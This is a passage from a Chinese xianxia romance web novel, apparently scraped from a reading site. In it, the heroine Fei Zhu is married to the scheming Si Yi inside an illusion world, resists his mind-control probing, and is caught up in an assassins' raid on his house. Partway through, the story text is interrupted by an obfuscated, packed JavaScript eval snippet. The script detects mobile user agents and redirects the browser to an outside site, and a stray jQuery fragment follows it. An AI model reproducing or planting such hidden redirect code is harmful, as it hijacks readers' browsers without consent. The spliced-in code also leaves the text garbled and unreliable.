“斐竹,你究竟是何人?”
“我是斐竹,万法门第九十九代弟子,师从元阳道长,法修,擅幻术、隐匿、逃遁之术。”
万法门?有这个门派吗?还有元阳道长此人也没听说过,到时候出去后派人查查。法修?书法修练?后面的幻术、隐匿、逃遁肆意倒是能理解,毕竟斐竹三番两次从他分身身边逃走也能证明她确实擅长这些。
“你的亲人是什么情况?”
“不知。”
“你有亲人吗?”
“有双亲,以及一个弟弟。”
“你为何要接近洛为、书妄、诸葛恣。”
斐竹原本就加强了警惕心,没想到还是着了肆意的道,难怪之前她看着肆意失了神,虽然她喜欢欣赏美丽的事物,但不至于完全忽略了琴声。
好在她神魂强大,这时候也恢复了神智,听到肆意的问题,庆幸她清醒的及时,要不然暴露了系统任务,那不是要糟糕。
斐竹装作依旧被摄魂的样子答道:“偶遇后同行,并未刻意接近。”
“你对肆意感觉如何?”
“……还行。”
斐竹被这个问题哽住,回答慢了半拍,肆意便察觉到了,凑到斐竹身前,盯着她的眼睛问:“嫁给肆意你高兴吗?”
“高兴。”斐竹两眼放空道,却不知道肆意已经识破了她。
“那,说你喜欢肆意。”肆意越凑越近,就要碰到斐竹的唇,斐竹终于忍不住侧开了头。
“娘子,你今天怎么了?总是走神?”
肆意倒打一耙的本领掌握得真娴熟,斐竹甘拜下风,她站起身道:“夫君为何凑得如此近,倒是吓着我了。”
“如此说来,确是为夫的不是,弹的曲子也无法入娘子的眼,也罢,看来为夫还得再下一番功夫,争取下次让夫人满意。”
“嗯,这次就到这了,你不是还要带我认路吗?在这耽搁这么久了,我们也该走了。”
“好的,娘子,请随我来。”肆意不知道斐竹是什么时候恢复的意识,后面的答案可能都不准了,斐竹的神魂看来不弱,他得多加小心,这次的试探不知道有没有惊动斐竹。
现在太阳升起,日光透过枝缝照射在斐竹身上,随着他们的走动,在衣服上跳跃。
走了半个时辰后斐竹擦了擦汗,衣服还是穿多了,没有灵气护体的感觉她总是不习惯。
肆意也瞧见了斐竹额头的汗,问道:“娘子是累了吗?那我们便稍作休息吧。肆府还算挺大的,一天想必是逛不完的,所以娘子也不用急,我们可以慢慢逛。”
肆意将斐竹扶到一旁回廊的美人靠坐下,用衣袖给她扇风。
斐竹还是有些不习惯斐竹的殷勤,虽然知道肆意是装的,这幅恩爱样子也不知道是给谁看的,总不至于真是在攻略她吧?
“夫君你也坐下来歇息歇息。”
闻言肆意坐下道:“娘子如此体贴,为夫甚是欣慰。小珠,将备着的甘露汁倒一杯给夫人解解渴。”
“是,小少爷。”
斐竹确实是渴了,一杯甘露汁下去,清甜解渴,肆意倒是有心了。
坐着吹了一会儿风,斐竹还好奇肆意没有整出什么事来,就听到小珠倒地的声音。
“娘子小心!”肆意将斐竹抱入怀中,冲外面大喊道:“来人,有刺客!”
骤然被拉入肆意怀中,斐竹手下感受到肆意胸前结实的肌肉,充满蓄势待发的力量感,忍不住捏了一把。
肆意闷哼一声,“娘子,现在可不是嬉闹的时候,等晚上关灯了,才可尽心啊!”话未尽,他就带着斐竹后退了几步,躲过了射来的箭。
“来者何人,所为何事,是否有什么误会?”肆意将斐竹带到一间小屋中,小声道,“你在这儿躲着,轻易不要出来。”
斐竹看着肆意才将门关上,门外就传来了打斗的声音,“你父亲为了一份道简,将晓理书庄的人屠戮殆尽,如此残暴的人能生出什么好东西,你们一家人我都不会放过!”
斐竹凑近门前,将门上玻璃纸戳破向外望去。
只见几个拿着剑的正道人士模样的人围攻肆意,所以肆意拿的是反派剧本?斐竹还以为这是个甜蜜的恋爱故事呢?没想到这就遇上了仇杀,等下是不是还要生死相别?
唉,肆意要不行了,不会就这么死了吧?斐竹正幸灾乐祸着,门就被人一掌挥开了,要不是她察觉不妙躲得快,门就要扇到她脸上了!
斐竹抚着脸暗自感叹,这么好看的一张脸,要是出了事的话多可惜啊!
然而斐竹还是庆幸得早了,眨眼的功夫她就被人架了把刀在脖子上。
在这个幻境她的万人迷光环失效了吗?竟然有人舍得伤害她?斐竹眨了眨眼睛,眼泪就流了出来,望向肆意颤着声音道:“夫君,我怕。”
“放开我娘子,有什么事冲着我来!”肆意捂着腹部的伤口喊道。
“呦,这小模样真让人心疼,你就是昨日那个新娘子?长得倒是挺标致的,跟了他算你倒霉,下次轮回记得擦亮眼睛找个好人家。”说完那人手上用力,就要杀了斐竹。
“慢着!”肆意飞速上前握住剑身,止住了剑的去势,“你的目标不是我父亲吗?杀她不如挟持我去见我父亲。”
鲜血从肆意握紧剑身的手中流出,肆意对斐竹笑了笑,轻声道:“别怕。”
“好主意,但是,提着你的头去见他不是更爽快吗?”
“那样你有把握能杀了他吗?我父亲可不是那么好对付的。”
几人对视一眼,觉得可行,那魔头总不至于自己的儿子都不顾吧?
一人上前拍了一张道符在束手就擒的肆意身上,限制住了肆意的道法运用。
“放了她。”肆意眼神犀利刺向持剑之人。
“我可没答应你,是你自己送上门来的。”那人嗤笑一声,并未移开剑,肆意的手还抓在剑上,血流了一地。
斐竹神色有些复杂,这是英雄救美的剧本?也太俗套了吧,她要不要上前一步自刎,说:君的恩情,妾来世再报?
没想到肆意硬生生地抓着剑移开了斐竹颈侧说:“祸不及妻儿,阁下还是不要多造杀戮。”
其余几人也没人再对斐竹出手,斐竹后退几步撤出战场。
“斐儿,若我遇不测,你就离开肆府,找个其他人嫁了吧。”肆意在被带走前回头对斐竹说道。
斐竹瞪大了双眼,没想到肆意这么阔达,还支持她改嫁,那若是她出轨呢?
所以现在她要干什么?跟上去看看剧情后面是怎么发展的吗?没有她这剧本还能发展下去吗?要不她还是帮肆意一把,看他到底要搞什么鬼。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047400|179010||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
斐竹跟在几人后头不远的地方,看他们在那谈论肆宅的富裕是剥削了多少百姓血汗钱才有的。
斐竹扫过那些雕梁画栋,镶金戴玉,装饰着不少好东西的宅院,点点头,确实过于炫富了,不过肆意本是世家公子,眼界高也是正常。
还是洛为最可怜,从小流落街头,跟着她也吃了不少苦,谁叫她也是穷光蛋一枚呢。
不过,这路有点远,他们就这么大摇大摆的走过去也太嚣张了吧?还有其他小厮呢?怎么都不见人影?肆意也太懈怠了吧?
斐竹边跟着他们边吐槽这个幻境太过粗糙,这也太看不起她了。只是少了系统的陪伴,吐槽也吐的有些没意思。
可是再走几步斐竹便发现不对劲了,一路的景色多有重复,刚刚那棵树和之前的一棵一摸一样,而且斐竹没有刻意控制速度,但是她离他们的距离一直没变,斐竹停住脚步,难不成她进入了幻境中幻境?她什么时候中的招?
斐竹用神识环视四周,景色一阵波动,她回到了原来的那件小房内,赶来的侍从们正围着她身旁,见她醒了连忙问道:“少夫人,你没事吧。”
“少夫人,这是宁神丸,你吃一枚定定神。”
斐竹接过宁神丸问:“我夫君呢?”
“小少爷被人带走了,他让你不要担心,他能想办法脱险的。”
看来当时她就不知中了谁的幻术,这么多年未修炼,她竟败在自己拿手的幻术上。
斐竹扶额叹息,刚还说肆意懈怠,原来真正松懈的是自己,不过至少现在她入了这个世界的道,能修炼了,应该不会再这么弱了。
斐竹服下宁神丸后,感觉心境平缓了不少,起身问:“他们在哪里?带我去看看。”
“使不得,小少爷让我们看着少夫人,不许我们带你过去。”
“我昏迷多久了?”
“一刻钟。”
斐竹有些看不懂现在的剧本了,肆意到底打得是什么主意?
身旁有人守了,斐竹无法离开,只能静观其变。
午时终于传来了消息,来人已被老爷降服,小少爷除了受了些伤也没性命危险。
斐竹被送到肆意治伤的地方,见肆意赤着上身,一个侍女在为他上药。
“你下去,”见到斐竹来了,肆意让侍女离开,伸出受伤的手对斐竹开口道:“药已经上好了,娘子,你能帮我包扎吗?”
不知道幻境中的受伤能不能感受到痛觉,斐竹想着这个问题靠近肆意。
肆意用的是右手,抓剑的伤口深可见骨,不知道有没有伤到筋脉,会不会影响他之后用手。斐竹边帮肆意缠绷带,边思考着。
“娘子,为夫腰上还有道伤口需包扎。”见斐竹在他手上绑了个可爱的蝴蝶结就打算收手,肆意提醒道,另一只手拨弄着蝴蝶结,“娘子打的结挺别致的。”
斐竹拿起纱布靠近肆意,往他腰间瞧了眼,这是被戳了对穿?不知道有没有伤到里面的脏器。
“离那么远做什么,难不成还怕我会吃了你?”肆意一把将斐竹拉入怀中,斐竹差点撞到了肆意伤口上,就算没有,伤口也因为肆意的动作又流出血来,冲掉了药粉。
“你疯了?”
“对,为夫疯了,所以我们一起死吧!”肆意笑得癫狂,手向斐竹后颈伸去。